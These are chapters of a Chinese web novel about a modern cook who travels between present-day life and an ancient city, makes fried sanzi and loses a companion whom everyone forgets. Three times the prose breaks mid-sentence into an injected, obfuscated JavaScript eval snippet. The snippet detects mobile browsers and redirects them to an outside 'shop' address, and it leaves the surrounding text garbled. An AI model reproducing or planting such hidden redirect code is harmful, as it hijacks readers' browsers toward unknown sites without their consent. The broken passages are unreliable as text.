可能是灯泡太多亮眼，李嘉行让他俩别杵门口当门童。 最终外头俩人被周瑶理打发去买牛乳。 南瓜被蒸得一戳即烂，周瑶理趁热将锅中的栗子和南瓜取出，交给林嘉行碾碎，自己则换水起锅煮糯米圆子。 时间掐得刚刚好，圆子出锅时文竹他们也捧着牛乳跑进来。 “周姑娘咱真好运，店家说这是今日最后一份儿了。”银春还是个十五六岁的小姑娘，丁点儿小事就能乐开花。 碾碎的栗子南瓜泥倒入砂锅中加进半碗清水慢慢熬煮，等周边开始冒小泡时再倒入新鲜牛乳，继续搅拌均匀。 最后时刻倒入预备好的圆子，加入小半块糖霜即可出锅。 “好烫！”周瑶理心急，忘记用湿布垫住锅边，被烫得直捏耳垂。 “烫得厉害吗？”林嘉行拧眉上前两步，一把拉过她的手查看。 好在离手快，周瑶理并未被烫伤。 厨房的小插曲破坏不了她想吃甜点的心情，几人端着一锅栗子南瓜羹有说有笑穿过游廊，径直走向暖厅。 “下雪了。”周瑶理不经意侧头，惊喜发现居然下雪了。 还好他们没在外逗留太久！ 31. 油泼馓子 “冬天打死我也不出门了。”周瑶理凑在离暖炉最近的位置，手捧一碗热乎乎的甜羹舒服叹气。 林嘉行在她对面落座，打趣她上回分明还说过要去成衣铺买过年衣裳。 周瑶理这才想起还有一个月的时间就要过年了，又低头在自己和林嘉行身上来回打量。 确实该买几身新衣服，不然穿这身衣裳过年未免太寒碜。 “等过几天暖和的时候去趟锻庄吧。”林嘉行抬头快速看了眼她继续说，“之前赶秋宴你穿的那身很好看。” 周瑶理猛地凑上前，探究的眼神在他脸上打转，高挂嘴角。 “不得了哦，你也关注这些。” 突然凑近的脸让林嘉行顿住，快速眨眼后撇过头，随后假装不经意地说出很漂亮。 调戏人时挺有趣的，轮到自己的时候周瑶理倒不好意思起来，默默退回到自己的位置。 暖炉的威力实在太大，周瑶理甚至都不愿意起身走两步去隔壁餐厅吃饭，干脆直接让人把午食端到暖厅算了。 林嘉行忙着写东西对此没啥意见，随她去。 早上俩人大老远的跑湖心亭那去，回来后又在厨房捣鼓些甜点，这会儿肚子里装满甜水早就没啥吃午饭的胃口，将就对付两口便让人撤下去。 一下午二人都窝在原处各干各的。 林嘉行从房中取来墨宝，既不看书，只顾着在上头圈圈写写。 周瑶理悄咪咪绕到他身侧偷瞧，纸上全是些有关酒店之类的内容。说起来林嘉行先前说过自己还在读研，想想确实快要期末考了。 以免打扰人家复习，周瑶理又蹑手蹑脚绕回到自己的位置。 她从林嘉行那要来纸笔对着银春比比画画，嘴上说什么今天有空给小姑娘画幅肖像，不收银钱。 银春期待好一会儿，等她说句画好了忙凑过去看。 纸张翻转，银春满脸复杂神色壮着胆说：“姑娘还是给文竹哥画吧。” 她哪里画得不好了，神态、情绪包括人物特点，她都抓得很准的。 周瑶理死活抓住人姑娘不让走，非要她说出个好歹来。 文竹见状也好奇地凑过来瞧，随后默默退回去。 林嘉行时不时抬头看她们几眼，摇头笑得无奈。 许是外头太冷，许是暖炉烘得整个人暖洋洋的，烘得周瑶理昏昏欲睡，最后趴倒在桌上睡得一塌糊涂。 银春取了毯子回来瞧见林嘉行轻手轻脚绕过矮几将周瑶理抱起，最后小心翼翼放在床榻上，回头接过她递来的毯子。 末了还觉得漏风，林嘉行俯身将被角再掖紧些，这才回头朝厅内其余俩人比了个嘘的姿势。 昨天在家休息补眠一日，周瑶理今早精神抖擞，连去上工的的脚步都有力许多。 文竹每天都看周姑娘都有种被吸干气血的样子，好多次都想让她干脆辞了饭馆的活回家算了。 今天周姑娘一反常态，看着精神气儿多了。 进舆前周瑶理一副过来人的模样在他肩上拍了拍，“人果然还是得多休息才行。” 刚走进店里周瑶理便听见李元玉嘴里念叨着什么没有傻子。 周瑶理震惊不已，古代人这么与众不同的吗？开店还得请个傻子坐镇。 李元玉听完笑得合不拢嘴，上气不接下气地回她不是傻子，是馓子。 “像面条一样但炸得金黄口感酥脆，要是能有一碗咸糊丝瓜汤再在上头撒上一把馓子，”掌柜的边说边砸吧嘴，“那一整天干活都有力气！” 周瑶理听完只觉熟悉，提起手中的油纸袋露出里面的东西，“是这个吗？” 她来饭馆的路上瞧见的，因为是现炸的馓子，周瑶理甚至还让文竹停车，下舆观摩了一阵。 这玩意儿现代也有，之前上网找素材时她还瞧见过，但因为住的地域环境不兴吃这些，线下很少见，以致于刚听李元玉说的时候都没反应过来。 “对咯！” 她还是有些不解，既然如此干脆和卖馓子的手艺人签契子，让对方每日定量供应不就得了？ 李元玉摇头。 馓子难做，每道工序都不能出现差池。面和软了或是硬了，都会影响最终成品的口感。 一般做馓子的手艺人只准备当天摆摊儿要卖的量，不再接收其他饭馆的单子。 况且跟手艺人签契的话，对方要价很高。李元玉饭馆才刚开张，不仅要养家还得养着手下一群伙计，自然是能省则省。 周瑶理似懂非懂，低头咬一口馓子，确实如东家所言。 以为是外脆里软的类型，但没想到入口即是酥脆。不知其他地方的馓子口味如何，但江郡这儿的是清咸口。 除了一点点咸味之外，再无其他杂味。若是按照李元玉所说的掰脆放进热糊汤中，一定很好吃！ 就像皮蛋瘦肉粥里的玉米脆片，虽不是必要的，但酥脆咸香的脆片给平淡的粥点提供了更深次层的口感。 整天下来，周瑶理都沉浸在自己能不能学会做馓子的想法之中。有一部分是因为李元玉，毕竟东家对她很好，能让饭馆生意更上层楼最好了。 但最大的原因还是比赛。 厨神大赛两年一次，从昌南道走到江郡不容易，她不想浪费这次机会，再苦等两年。 每个地方的人口味不同，如果照搬自己在云禾酒馆所学的食单拿下江郡一赛，简直妄想。 多了解一些当地人的口味，她的胜算就多一分。 晚上吃饭时林嘉行见她闷闷不乐的样子，以为是在饭馆里受了委屈。 之前她在云禾酒馆就是因为自己离得远，没及时发现周瑶理身边的人不对劲，才会有黄蛮纵火一事。 好在周瑶理让他别担心，饭馆的大家对她都很好。 “林嘉行，你吃过馓子丝瓜汤吗？”想到上回的鸭肉菜饭他都吃过，周瑶理想要不问问他的意见。 可惜他也没吃过，甚至第一次听说。 算了！ 周瑶理摆手，等她回现代查找资料再说。 入夜。 周瑶理心里揣着事儿急着回现代，比往常更早上床躺着酝酿睡意。 林嘉行在房间坐着正温习专业课，蓦然发现拿笔的手闪了一下，有几秒变得透明。 立马放下笔看向背对着他整理袍子的文竹。 好险，幸好没看到。 看来周瑶理已经准备睡了。 “我准备歇息了，文竹你先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990431|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去吧。” 说完林嘉行快步走向床边用床幔挡住，以免对方发现不对劲的地方。 现代。 周瑶理睁开眼便翻下床，急急忙忙开电脑搜寻资料。 不得不感谢现代文明互联网的诞生，不一会儿她就找到古法馓子的做法。 还不止一种，甜咸口都有。 想起她在江郡吃到的馓子是咸香口味，周瑶理精挑细选了个老师傅的做法教程，准备开干。 看视频里做得那么简单，她还以为手拿把掐，没想到那么麻烦。 第一次没注意力度面团起筋，周瑶理扯半天都没把面团扯长，白白浪费她俩小时。 最后只好揪成面片，又翻找出冰箱剩下的两个番茄做西红柿鸡蛋面片汤。 经过上次的教训，第二回周瑶理严格按照老师傅说的要点，全程只用揣、叠的手法，最后静置。 可惜还是失败了。 回过头总结教训，她发现静置的时间也不容小觑。由于太心急，周瑶理没有按照教程说的等待两小时，堪堪等了一个钟就着急忙慌上手拉扯。 面团没有起筋的缘故，延展性确实比上次好多了，但还是不到位。 时间还在下午三点半，来得及。 周瑶理索性将面团放回盆里，继续静置等待。 下午五点。 这次的面团延展性好得出奇，手感像热乎的奶豆腐一样，往外抻多长都不断。 浸泡过冷油的面团比刚刚还要好上手，按照老师傅的手法取出一段围着四指绕圈三次，掐断首尾相连。 抻拉转间，面条变得更细。 初次做馓子她不敢抻得太厉害，还没抻到位就下油锅。太过手忙脚乱还忘了掸开油锅中粘连的面条，结果出锅后完全没有外面卖的那么根根分明。 姑且算小进步吧，虽说面条太粗口感没有在江郡吃的酥脆。 时间来不及让她重新再来一次，周瑶理干脆把灶台收拾干净，准备到时候回雍都时再做一次。 晚上十一点五十分。 周瑶理准备就绪，早早躺床等待眩晕感的出现。 十二点眩晕感如期而至，身体逐渐变得无力。 下一秒床上躺着的人消失不见。 雍都。 林嘉行边整理袍领边往外走，绕过梅花屏正好遇上同时准备出门的周瑶理，对方满脸兴奋地跟他打招呼。 “早啊小林，今天穿得不错哦。”说完，说完周瑶理蹦跳出门，一时间遛进游廊。 林嘉行低头看了眼今天穿的袍子，是她喜欢的品月蓝袍。 “早。”可惜人跑远了，听不见他这声早安。 “周大厨今日来得早，还没用早饭吧。”小鱼刚摆好碗筷就见店门口闪进人影，抬头发现周瑶理穿着件黄栗色窄袖缺胯袍窜进来。 东家总说周大厨穿得像秋天的黄叶子，一看到就想起金桂黄秋。 小鱼觉着东家说得对！ 周瑶理不定时在饭馆吃早餐，有时来得晚多半是在家用完饭才过来，但若是来得早定是空着肚子来的。 “聪明小鱼！”周瑶理笑着走近。 李元玉瞧见又来人了，朝后厨喊一嘴多添副碗筷。 32. 捏造身份 当天晚上周瑶理下工回家，匆匆忙忙用过饭后就钻进厨房丁零当啷捣鼓东西。 厨子听说周姑娘在厨房里头，以为是自己晚饭做得不合她胃口，弄得周瑶理大晚上还自己搜罗厨房准备宵夜，外衣一裹想也没想就往厨房跑。 转过弯刚踏进厨房，只见她大晚上居然在和面。 “姑娘这是饿了？”厨子不确定问道。 周瑶理这会子功夫没空搭理他，回他句不饿就埋头光顾着揣盆里的面团。 “周姑娘晚上又钻进厨房了，也不知道这回准备做什么新菜式。”文竹从外头进来，给林嘉行端来碗柏子仁茶。 这几日他忙着温习功课，周瑶理特地让文竹给他备着。 林嘉行闻言朝门外看了眼，随即放下笔起身打算去厨房看看。 厨子看得好奇，问她准备做些什么。 “我要做馓子。”周瑶理停下动作打量面团的状态，寻思着差不多了便取过湿巾盖上。 “姑娘还会做馓子？不得了！”厨子听完诧异。 进宅时他就有所听闻，主家的姑娘也是个厨子。 平时周姑娘早出晚归也都知道，原以为只是个普通厨子，没想到连馓子都会做。 馓子不难做，主要是麻烦。外头会做馓子的手艺人多得是，但炸的火候掌握得好，做得好吃的，十里八乡也就那么几个。 林嘉行悄声走到厨房附近就听见周瑶理和厨子的谈话声，停下脚步微微探头往里看。 俩人不知道在讨论些什么，聊到关键处她还手舞足蹈的。 文竹瞧自家郎君鬼鬼祟祟趴在门口听周姑娘聊天，明明脸上都带起笑意却不进去。 刚想说郎君不进去看看吗，只见林嘉行转过身朝他摇了摇头，又背手原路返回。 文竹只好跟着回去。 盖上湿巾的面团被周瑶理放在锅中，还在上面加个盖子让它静置过夜。 天冷面团松弛过夜更好。 临了她还提醒厨子明早别把她的面团当隔夜食材给扔了。 第二天晨起，周瑶理放弃赖床的机会，快速收拾好匆匆去厨房端了面盆就走。 这俩日小周来店里早很多，李元玉还有些奇怪。 今天看到她手里还端着木盆更是好奇，凑上前问她裹了什么好东西过来。 “东家一会儿就知道了。”都到这节眼她还在卖关子。 陈绣掀开帘子走出来看见周瑶理兴致冲冲地往里冲，想说吃了没。 话没说出口又被她拽住转个圈回到厨房。 “你自个儿做馓子？”陈绣还以为自己早上没睡醒做梦呢。 周瑶理反驳，是我们一起。 李元玉搁大堂里喊她俩出来吃饭没人应，撸起袖子准备进后厨逮人。 她倒要看看这俩人在搞什么名堂，连吃饭都不积极。 结果刚板起脸掀开帘子，入眼就是被抻得老长的白面团子，另一边的陈绣接住细条仔细盘进碗里。 再凑近看，碗里还装着凉油。 抻面的周瑶理告诉她，东家你要的馓子我学会了。 前期工序做完，盘好的面条待在碗里浸油一个时辰。 等周瑶理她们备好菜回来正好可以准备下油锅。 “在四指上缠绕五圈接头捏合。”周瑶理按步骤教陈绣团面条。 首尾相接完的面条形成圈，两手各占据一边打着圈儿抻长。控制力道运用巧劲儿将面条越抻越长，越抻越细。 油锅开始冒小泡时，用长筷撑住两端慢慢浸入热油又捞起，期间不忘掸开粘连住的面条使其根根分离。 等定型后拿着筷子的手一扭，平行的面条瞬间拧成麻花滑入油锅中。不停舀起热油浇在上面，馓子慢慢变得金黄。 有陈绣的帮忙之后明显没有昨日周瑶理自己做时那么忙手忙脚，二人配合打得默契。 一盆面条摇身变成团团酥脆的油泼馓子。 “出锅，都来尝尝味道！”众人等周瑶理发话才敢上前，全部涌上前一人拿上一块。 刚出锅的馓子油热滚汤，小鱼被烫得龇牙咧嘴，却还是迫不及待咬上一口。 酥！ 入口就一个字。 由于面团得到充分水合时间，周瑶理今早上手的时候非常顺利。 不同于上回做的粗细不均，这回根根酥脆咸香。用手一捏，炸耳的酥响仿如在说此身分明了。 想到李元玉说过的做法，其他人还在回味口中的酥香时，周瑶理取走篮子里的鸡腿菇。 可惜了现在是冬季吃不到丝瓜，不然周瑶理还想试试东家说的咸糊丝瓜汤。 不过用鸡腿菇也不错。 打散的鸡蛋倒入油锅，等定型时碾成碎块盛出。边上已经洗净撕成小块的鸡腿菇如愿以偿跳入锅中蹦哒。 倒入滚水盖好焖煮片刻后，将鸡蛋碎和冬笋块一起丢进去。 少量面粉拌入锅中，还有酱油、两三粒花椒。 最后出锅时再撒上一把捏碎的馓子。 虽然没有丝瓜的清甜，但菌菇的鲜香也让人无法拒绝。冬笋的嫩甜混合着有肉质感的菌菇，咸香的馓子裹满面糊。 鲜掉眉毛！ 在快要冻僵的季节来上一碗馓子笋菇汤简直不要太幸福。 “哈！难怪掌柜的非要那碗丝瓜汤，我总算明白了。”周瑶理捧着充当暖手炉的汤碗，舒服地眯上眼睛感慨。 看似是一道家常得不能再家常的面汤，对于早起出门做活的行人而言，也是冬日不可多得的行走暖炉。 “我李元玉今年做得最正确的就是留下小周当厨子。”掌柜喝一口面糊汤就要感谢自己一次。 袁敬文路过饭馆时看到周瑶理亮着眼嘴角带笑，和饭馆其他小工追逐嬉笑，跑得急了还撞上桌角，疼得眉头紧皱。 被这幅场景逗得哭笑不得，袁敬文不知不觉中停下脚步站在原地看了好一会儿，直至撞上对方的视线才慌乱挪开眼。 周瑶理抱着腿嘴里发出嘶哈声时，余光瞥见门口好像站着人，转头才发现是袁敬文。 好在脚上的痛感慢慢散去，周瑶理走上前和他打招呼。 “袁夫子今日可有闲。” “周姑娘别来无恙。” 前几天书院堂测过后，学生们正式开始放冬假。他已决心参加来年春考，寻了空去书肆采买些书籍。 李元玉的饭馆理书肆不远，袁敬文回家时正好路过，才有了刚才那遭。 周瑶理干脆邀请他进店取暖，袁敬文抵不过她的热情，嘴上说着打扰了，提袍跟着进屋。 “呀，夫子怎的来了？”李元玉从楼上下来，打眼看见他惊得不行。 还以为是自家儿子在书院又惹祸了，快步下楼。 “继荣不是放冬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998018|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假了吗？”周瑶理提醒她。 李元玉一拍脑袋，想起来了。 都怪她家臭小子太闹腾了，导致她看见夫子就紧张。 “你吃饭了吗，我给你下完面糊汤？”周瑶理想起自己说过好几次请他吃饭都没兑现。 正好早上做的馓子没卖完，还剩下一些。 袁敬文连忙推却，不料天公好似在跟他作对，飘起小雪。 周瑶理笑着说，“看来袁夫子走不了了。” “面糊汤来咯。”刚出锅的汤就是滚烫，碗中不断冒热气。 听闻上头的馓子是周瑶理自己做的，袁敬文好一顿诧异。 “周姑娘果真厨艺了得。”既然如此他就不客气了。 在周瑶理炽热的目光下，袁夫子舀起飘着馓子碎的面糊汤送进口，口腔瞬间被咸香味霸占。 馓子碎也不甘示弱，在嘴里奏乐。 瞧见对方的神情，周瑶理咧开嘴转头看向掌柜的暗暗点头。 “这位郎君想吃点什么？”此时身后传来小鱼的声音，周瑶理闻言转身看去。 来人正是林嘉行。 “林，表哥你怎么来了？”周瑶理刚起林字又咽回去，改口喊了声表哥。 林嘉行听到这声表哥也有些震惊，嘴角含笑盯着她挑眉，眼里写满疑惑。 表哥是？ 周瑶理快步上前挽住他的胳膊，凑近了从牙缝挤出声音。 “他们都以为我跟表亲住一块。” 总不能说他是表伯吧，差辈分了。 林嘉行闻言了然点头，出门在外身份都是自己给的。 李元玉看得两眼直愣。 她之前以为那个天天来接的郎君才是周瑶理的表哥，毕竟俩人看起来熟络得很。 李元玉还和自家夫郎说起表兄妹俩人感情真好，特地亲自接送。 没想到表兄另有其人。 袁敬文默默从椅子上站起身行礼，他认得对方。 林嘉行也不时礼数，叉手回礼。 “上回多谢郎君出手相助。”说罢还看了眼拽住他棉裘的周瑶理，继续说道，“瑶娘刚到此地还不熟悉，有劳公子。” 他说话的语气着实奇怪，袁敬文听着总觉得哪里不对劲。 但转念一想，若是同一个陌生男人和他家中姊妹多有交集，不免也会怀疑对方是否心怀不轨。 如此想来袁敬文倒把说服自己，直言只是见义勇为罢了，不必挂心。 氛围太过尴尬，周瑶理急忙打断。 “你怎么有空来饭馆，是家中出什么事儿了吗？” 林嘉行摇头，接过文竹递来的外袍交给她。 “银春说你早上出门急，穿得单薄。” 早前周瑶理赶着去饭馆，穿了夹棉褙子就跑。虽然里面还穿了棉衣，但奈何方才下起雪。 银春看着雪发愁，最后还是去寻林嘉行。 “傍晚难免温度低些，我担心等等把你冻坏了。”林嘉行解释道。 摸不准这场雪要下到什么时候，他干脆取了裘子给周瑶理送来。谁知道刚走半程雪就停了，想想还是没有原路返回。 “小周不厚道，竟未曾提起表兄如此俊朗。”李元玉从帐台那走过来，笑着打趣她俩。 凑近看这俩也是般配得紧。 周瑶理转头打量一番林嘉行，不好意思地朝东家笑了笑。 33. 记忆清退 林嘉行适应身份比她想得要快，已经能自如同掌柜的聊起周瑶理。 “舍妹在贵店麻烦东家照顾。”好一幅贤兄的模样。 李元玉没想到他会如此客气，将周瑶理从上到下夸了个遍。 连周瑶理自己都快听不下去，林嘉行倒是十分受用的样子。 “瑶娘就这性子，招人喜欢。”为此还特地低头撇她一眼。 幸好他不是个话多的性子，气氛到这差不多僵住。众人纷纷望向周瑶理，李元玉使眼色让她说两句。 周瑶理怀中还抱着大衣，拉住林嘉行就往门口走，嘴里絮叨什么趁还没下雪赶紧回家，不然路不好走。 林嘉行那句今天雪不大不碍事儿没说出口，怕她尴尬。 “我很上不得台面吗？”刚跨上台阶的林嘉行猛地转过身，想讨个说法。 周瑶理站得近，被他的斗篷的毛领盖一脸。林嘉行才注意俩人间只一拳头的距离，面带歉意向后撤一步。 “哪能啊。”周瑶理在脸上胡乱拍几下，试图赶走粘在脸上的白毛。 林嘉行上前按住她乱动的手，“别动。” 残留下的毛碎正好落在她下眼睑。 刚刚只剩一拳的距离，现下更近了。 周瑶理怕东西飞进眼睛里完全不敢动，瞪着双眼直直盯住林嘉行，把人盯得都有些不好意思。 她还不嫌事大地喊了声林嘉行。 “你脸上也有领子毛诶。” 说罢让他闭上眼，林嘉行果真听话紧闭眼睛。 二人就着这个姿势站在马车旁，袁敬文从饭馆出来看过去，瞬间愣神。 恰巧此时正面对他的林嘉行睁开眼，视线在空中碰撞。 周瑶理不知道林嘉行突然扯嘴角笑什么，转过身才发现袁敬文站在身后。 对方朝她点头示意，随后转头离开。 “真真文人风骨。”周瑶理抱手感慨。 袁敬文看上去就像能高中状元的古代书生。 边上传来轻轻的哼声，她转头就看见林嘉行瘪下嘴。虽然很快消失不见，但还是被她抓到了。 “不过咱家林郎君也不错。”边说边把他推上马车，催促文竹赶紧驾车回去。 可惜林嘉行拽紧帘子死活不放下，不甘心问她，“哄谁呢？” 周瑶理这会子也不同他较劲儿，收回手立在马车旁一脸认真神情。 “真的，给黄金都不换。” 毕竟他是行走的银行。 林嘉行最近在准备期末考的事，周瑶理有时候见他吃饭都抱着那本自己做的复习册，看着都累。 昨天一问居然过几天就要考试了，她干脆让林嘉行别来了，好好考完再说。 “不对，你能控制自己不来这里吗？”周瑶理想起能不能不来这好像由不得她们控制。 “应该可以。”林嘉行回想自己每次来雍都都是因为打开电脑桌面的文件夹，要是不打开就没事。 “那你最近别来了，好好考试！” 周瑶理让他别担心，这边儿的事有她顶着。 晚上昏昏欲睡时她又惊醒，把许久没出现的系统喊出来。吃晚饭那会儿没想太多，现在闲下来发现疑点重重。 周瑶理裹紧被子质问，“他为什么能自我控制穿梭时空？” 怎么自己穿越没有金手指就算了，一点好处都没。 难不成给错副本了？还她富二代人生！ 系统紧闭聊天通道，只是一味报错。 周瑶理被脑子里的警报声吵得受不了，把疑问收回。 警报声瞬间停止，周瑶理失力躺倒在床大口喘气。 所以她触碰到临界线了是吗。 第二天周瑶理睁眼翻下床就开始往身上套衣服，等在门外的银春听见声响，端来洗漱用的温水。 周瑶理见状动作更加快速。 林嘉行不来雍都最棘手的事，便是怎么跟大伙解释林郎君睡一觉起来第二天就不见了。 特别是紧跟在他身边的文竹。 苦想一天的周瑶理最后决定先下手为强，醒来就去林嘉行门口敲门再破门闯入。 营造他晚上睡觉踢被子染了风寒的假相，让其他人别踏进屋子。 大不了让文竹替她去饭馆请几天假，她老老实实在家中守着。 银春觉得周姑娘今天好奇怪，不像往日那样赖床许久，反而醒来之后跑到对面的空房间不停敲门，嘴里还喊着个陌生的名字。 她紧张的神色让银春有些不知所措，姑娘是不是梦臆了？ “林嘉行你没事吧。”周瑶理在门上敲好几声。为了更逼真些，带上几分担心的语气。 这时银春跟过来，站在她身后支支吾吾像是有话要说。 避免她问，周瑶理抢先开口要进去看看林嘉行。只是手还没接触到门就被身后的人扯住衣袖，转过头发现银春眉头紧皱满脸无措。 “姑娘是不是做梦了，家中哪有一位姓林的郎君。” 就连面前这间屋子都是空厢房。 周瑶理想要推门的手顿住，缓缓滑落。 她抬头满面不可置信地看向眼前的女孩，想从对方脸上看出点开玩笑的意味。 没有，完全没有。 周瑶理问她你忘了吗，这里面睡的是林嘉行啊。 银春告诉她，家中从未住着一位林郎君。 “姑娘你是不是累着了，要不今儿就别去饭馆，歇几天？”银春紧握她的手臂，试图唤醒周瑶理。 一定是周姑娘昨天洗头时没擦干冻坏了，早上起来就说胡话。 “我没事。”周瑶理低声呢喃，慢慢往回走。 早饭也没心情吃，裹了斗篷准备出门。 文竹已经套好马等在门外，瞧见周瑶理出来立马取来脚凳。 左脚踏上凳子周瑶理又收回，静静站在原地。 文竹不解询问，姑娘怎么了？ 周瑶理转头试探，“你家郎君今日，” 话没说完瞧见对方露出疑惑的眼神，她嘴巴微张又合上去，咽下后半句没问出的话。 “主家不是只有周姑娘吗，何来郎君一说？”文竹面露疑色和周瑶理身后的银春对视，试图从对方眼里找到答案。 银春比早前还要焦虑，原以为周姑娘刚刚只是没睡醒，现在看来倒像着魔了。 周瑶理收敛心思让他俩别担心，抬脚跨上凳子钻进车舆。 去饭馆的路上她还是觉得太过离谱，就像突然给她调换了个新副本，只留下她自己的足迹。 周瑶理看向帘子外驱马的身影，末了跟文竹搭话。 “时间过得真快，文竹你跟着我多久了？”她想，会不会所有人的人设都变了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002497|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是呀，转眼就快过年了。”轻快的声音传入帘中，“还记得十一月初那会儿刚到主家，怕姑娘难相处呢。” 一个月，是从抵达江郡那天开始覆盖剧情吗。 周瑶理回不去了。 林嘉行不在的那天，周瑶理同样回不了现代。 当天晚上她按照惯例睡下，打算回现代后跟小林吐槽他离开后所有人都不记得他这件事。 但是意料中的建筑风格转换并没有出现，睁开眼还是她在古代的房间。 周瑶理猛地打开门，外头的银春被她吓住。 “玩儿我呢。”周瑶理咬牙切齿。 在更大的bug出现之前，周瑶理改口自己那天睡懵了，还以为自己在梦里呢。 银春有些不相信，毕竟那天周姑娘的状态实在不像是半梦半醒的样子。 甚至差点连她都要相信家中真的住了个林郎君，只是被自己忘记了。 抱着怀疑她又试探两次，发现周姑娘真如她自己所说不在纠结那位林郎君，银春这下才得以安心。 “哎呀你就别打趣我了，那天就是把梦当真而已。”周瑶理笑着在她脸上捏一把，转过身上扬的嘴角骤下。 她得找系统问明白才行。 可是自从那天的警报过后脑内的女音再没出现过，即使周瑶理喊再多次都悄然无声。 晚饭时刻，周瑶理看见桌上只放了一副碗筷，不由得站在原地发呆。 所有人都忘记他存在过，连同从小跟在他身边的文竹也一样。 好像大家都在用可消笔描绘有关他的记忆，时效一过纸上依旧空白。 系统把周瑶理的可消笔替换成水墨笔。 只有她记得林嘉行是谁，大家一起走过哪些路去过哪些地方。 “文竹哥，你不觉得周姑娘最近怪怪的吗？”银春蹲在台阶上和文竹聊天。 她发觉这几日周瑶理特别喜欢发呆。 在暖厅的时候对着翘头案上的本子发呆，银春趁她不注意的时候偷偷看过。上头都是她看不懂的字，而且还是两种字迹。 晚些时候在餐桌上周姑娘也发呆，会莫名其妙地转头和身旁的空座位说话，但一瞬间又清醒过来。 还跟她说，是最近忙昏头了。 “说起来姑娘还问过我什么时候来主家的。”文竹回想起那天周瑶理在马车上问他的问题。 他说是十一月份，但姑娘好像觉得不对。 他自己也觉得不对，但又不知道错在哪儿。 整整五天林嘉行都没出现过，周瑶理脑子里有关他的记忆在和现实打擂台。 有些时候连周瑶理都在怀疑是不是自己搞错了。 有可能是自己太想回家，所以幻想出白天现代晚上古代的穿越模式，为了犒劳自己特地捏造个帅哥当搭子。 她好像没那么好色吧。 这天周瑶理坐在堂屋前面的台阶上发呆。自从进入十二月份之后，江郡就没再下过雪。 今天居然下雪了。 她记得上个月最后一次下雪天，她在院子里的石桌旁和林嘉行堆雪人来着。 服了，怎么又在做梦。 银春给她披上毯子，端来暖手炉塞给她，“姑娘又在想林郎君了？” 周瑶理闻言抬头看她，只看见对方眼里的担忧。 算了，还是不说了。 34. 你回来了。 周瑶理当天晚上依旧呼叫系统，本以为还会想前几天那样没有回声，没想到几声滋啦电流声过后，脑子内出现系统女音。 省去寒暄，周瑶理开门见山直接问话，把自己几日来积攒的疑惑统统倒出。 接二连三的问题迎面砸来，绕是用数据堆叠而成的系统也承受不住。 “不要着急！我将一个个回答挑战者的疑惑。”系统把所有周瑶理抛来的问题排列整齐，逐个回答。 首先是林嘉行离开后为什么其他人都不会记得他了？ 周瑶理苦思冥想许久都没有头绪，甚至怀疑其实根本没有这个人，而是自己凭空捏造是。 想得多了她又开始怀疑是不是在这里呆久了开始精神失常。 “您的精神状态完全没有问题！”系统给她打了一剂强心针再继续解释，“会出现这种问题源自于二位进入副本所采用的方式不同。” 换而言之，周瑶理是以创建账号的方式进入，归类于账号玩家。 而林嘉行属于游客登录，故没有稳定的链路。 由于是游客玩家，他只要超过12小时不在雍都出现，副本则自动清除他的访客记录。 “如果记录被清除，那他再回来时岂不是得重新开始？”周瑶理越听越不对劲。 以她之前玩游戏的经验而谈，一般游客记录是不会留档的。 也就是说一旦他的行迹被抹除，即使重新进入副本，林嘉行的剧情进度条还是为零。 “但是他关联了你啊。”系统提醒。 是的，林嘉行虽然是游客登录，但因为一开始进入副本时自动绑定了作为唯一主线剧情推动者的周瑶理，即使他的记录被自动清除，只要再一次进入副本就会读档。 值得一提的是他不在雍都那段时间的档案无法提取，只能读取离开前一天的时间记录。 “为什么清除后，副本npc的人设会出现变化。”周瑶理纠结的关键点是这个。 不仅是记忆，大家的人设都出现了改变。因为这点，周瑶理才开始自我怀疑精神分裂的。 “这便是上一个问题遗留的蝴蝶效应。”系统叹气。 系统中心近年来业务持续走下坡路，上级不得已把编剧大人还未打磨完善的副本直接上架。 虽然编剧也不知道怎么填完这个问题的坑，但系统可以保证，该副作用不会对周瑶理造成伤害或损失。 “不，造成伤害了。”周瑶理眼中冒火。 精神伤害也是伤害，她要求赔偿！ 系统害怕她会因此放弃挑战，好说歹说，最后同意送她个愿望券才得以平息周瑶理的怒火。 “还有个问题，我这次回不了现代也是蝴蝶效应吗？”毕竟连主笔都不知道会有什么差池。 周瑶理等半天都没等到回答，还以为系统又死机了。 正当她准备再次呼叫时，抱有歉意的女音响起。 “不是的。” 她这次长达五天回不去现代，只因为编剧大人吃书了。 “吃书？！”周瑶理惊掉下巴。 没有金手指她忍了，副本不完善她也忍了，出现副作用她还是忍了。 周瑶理都快进化成忍者神龟了，结果告诉她再忍忍。 因为编剧吃书了。 